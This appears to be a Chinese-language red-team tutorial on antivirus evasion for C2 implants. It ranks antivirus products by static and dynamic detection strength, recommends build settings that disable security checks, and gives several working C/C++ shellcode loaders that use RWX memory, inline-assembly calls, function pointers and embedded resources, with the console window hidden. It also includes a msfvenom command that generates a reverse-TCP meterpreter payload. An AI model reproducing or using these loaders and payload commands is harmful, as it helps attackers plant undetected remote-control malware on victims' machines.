C2远控篇&C&C++&ShellCode定性分析&生成提取&Loader加载模式&编译执行
➢ C2远控-ShellCode-认知&环境
➢ C2远控-ShellCode-分析&提取
➢ C2远控-ShellCode-Loader加载
#常见杀软特点总结
杀软一般通过一下几点来检测恶意软件和行为:
1、静态查杀:最基本的查杀方式,主要通过对文件的特征码进行扫描,匹配已知的病毒特征库。如果发现文件特征码与病毒特征库中的某个病毒特征码相匹配,就判断该文件为病毒;部分杀软会在静态查杀时将程序放入沙箱中运行几秒的方式以检测程序是否是恶意程序。
2、动态(主动)查杀:通过在程序运行时扫描程序内存是否匹配病毒特征的方式主动发现恶意程序。在EDR中还会挂钩敏感的Windows API,在程序调用到被挂钩的API时检查函数参数和调用栈以检测恶意程序。
3、流量监控:监控网络流量,分析网络数据包,如果发现异常流量或者已知的恶意流量特征,就可能是恶意软件在进行网络活动。
4、行为监控:监控程序的运行行为,如文件操作、注册表操作等。如果发现某个程序的行为超出了正常范围,就可能是恶意软件。
#常见杀软特点如下:
火绒:静态查杀能力弱,没有动态查杀,横向移动防护比较强,frp等内网穿透受影响。
360安全卫士/360杀毒:静态查杀能力较强,没有动态查杀,如果开启了核晶模式,则行为查杀比较强,注入进程等敏感行为会被拦截;核晶模式在物理机中默认开启,在虚拟机中默认关闭。
360QVM:360QVM 简单的说就是使用了机器学习辅助查杀,在360杀毒引擎设置中开启 360QVM 后静态查杀会变得非常流氓,有一点特征就会被查杀。
Windows Defender:静态查杀能力较强,动态查杀较强,监控 HTTP 流量。
卡巴斯基:普通版静态查杀能力一般,企业版静态查杀能力较强,动态查杀较强。
ESET:静态查杀能力较强,没有动态查杀。
#按照静态查杀能力强弱排列如下:
火绒 < 360安全卫士、360杀毒、Windows Defender、卡巴斯基标准版 < 卡巴斯基企业版、ESET < 360QVM。
目前见过静态查杀能力最强的属360QVM,连国外的杀软都有所不及,可以说360QVM是非常流氓的了。
#按照动态查杀能力强弱排列如下:
火绒、360、ESET < 卡巴斯基 < Windows Defender。
火绒、360、ESET 这几个没有动态查杀。
#C2应用:
CS(CobaltStrike)、MSF(Metasploit)、Viper、Ghost,比较小众的C2有Supershell、Manjusaka等,还有个人开发的 C2。
#加载语言:
常见的用来制作免杀语言有C/C++、C#、Powershell、Python、Go、Rust等
C/C++:使用最多也是制作免杀的首选语言,很多高级的免杀技术都是使用C/C++来实现,Github 上很多高星的、优秀的免杀项目也是使用C/C++来实现。
C#:结合了C++的性能和Java的易用性,通过.NET框架来访问各种API,写起免杀来更为简单,但是基于.NET框架的语言也比其他语言更容易被检测到。
Powershell:基于.NET框架的脚本语言,可以很方便的执行,也可以很容易的将Powershell脚本转为C#程序,同C#一样也容易被检测到,2.0以上版本需绕过AMSI。
Python:语法简单,写起来容易,大部分学免杀的新手都会Python,认为Python容易,自己也懂Python,于是从 Python 开始学免杀,而结果恰恰相反,Pyhon写起免杀来比C/C++还要复杂,在C/C++中可以直接调用 Windows API,在 Python 中则要通过一层转化间接调用Windows API,而且Python打包的程序报毒比较高,体积比较大。
Go:适合编写高性能的网络应用程序,很多内网穿透工具和漏洞扫描工具如Frp、Fscan等都使用 Go 进行开发,学习 Go 语言免杀可以对这些工具进行免杀。
Rust:Rust性能同C/C++,结构比较整洁但是语法复杂,不适合新手选择。
其他:ASM、Nim、Java等
#C2远控-ShellCode-认知&环境
1.创建工程时关闭SDL检查
2.属性->C/C++->代码生成->运行库->多线程 (/MT)如果是debug则设置成MTD
3.属性->C/C++->代码生成->禁用安全检查GS
4.关闭生成清单 属性->链接器->清单文件->生成清单 选择否
#C2远控-ShellCode-分析&提取
ShellCode的本质其实就是一段可以自主运行的代码。
它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,
因此需要通过控制程序流程跳转到shellcode地址加载上去执行shellcode。
目的:杀毒和感知平台如何定性
分析:OD&xdb&ida
提取:010Editor
加载:各种Loader方法执行
思路:
1、Shellcode自写打乱
2、Shellcode加密混淆
3、Shellcode分离隐藏
4、Shellcode注入回调
例子1:MSF上线Shellcode分析
参考:https://www.cnblogs.com/Akkuman/p/12859091.html
MSF源码:https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb
例子2:Shellcode提取-CS上线
#include <Windows.h>
#include <stdio.h>
int main()
{
char shellcode[] ="";
void* run = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//使用 VirtualAlloc申请一块可读可写可执行的内存(PAGE_EXECUTE_READWRITE)
memcpy(run, shellcode, sizeof shellcode);
//使用memcopy将shellcode拷贝到刚刚申请的内存中
((void(*)())run)();
}
#C2远控-ShellCode-Loader加载
1、内联汇编执行
#include <Windows.h>
#include <stdio.h>
#include <string.h>
unsigned char buf[] = "";
int main()
{
__asm {
lea eax, buf
call eax
}
}
2.指针执行
#include <iostream>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
int main() {
unsigned char buf[] = "";
((void(*)(void)) & buf)();
}
((void(*)()) &buf)()
#第一部分:((void(*)()) 类型转换,在C语言中这是一个函数指针类型
#第二部分:&buf 获取buf变量的内存地址
#第三部分:() 将buf地址当作函数执行
3、申请内存加载
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
int main()
{
char shellcode[] = "";
void* run = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//使用 VirtualAlloc申请一块可读可写可执行的内存(PAGE_EXECUTE_READWRITE)
memcpy(run, shellcode, sizeof shellcode);
//使用memcopy将shellcode拷贝到刚刚申请的内存中
((void(*)())run)();
}
4、资源存储加载
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=5555 -f c -o msf.bin
DWORD oldProtect;
BOOL pt;
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"PAYLOAD_BIN");
//找到shellcode资源,获取它的资源句柄
//它的名称为IDR_PAYLOAD_BIN1,类型为PAYLOAD_BIN
HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
//读取其中的数据
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
//读取数据⻓度,开辟内存空间读⼊,获得该空间指针
5、进程,线程池,ETW回调,APC注入,DLL注入,动态API,UUID,SEH等模式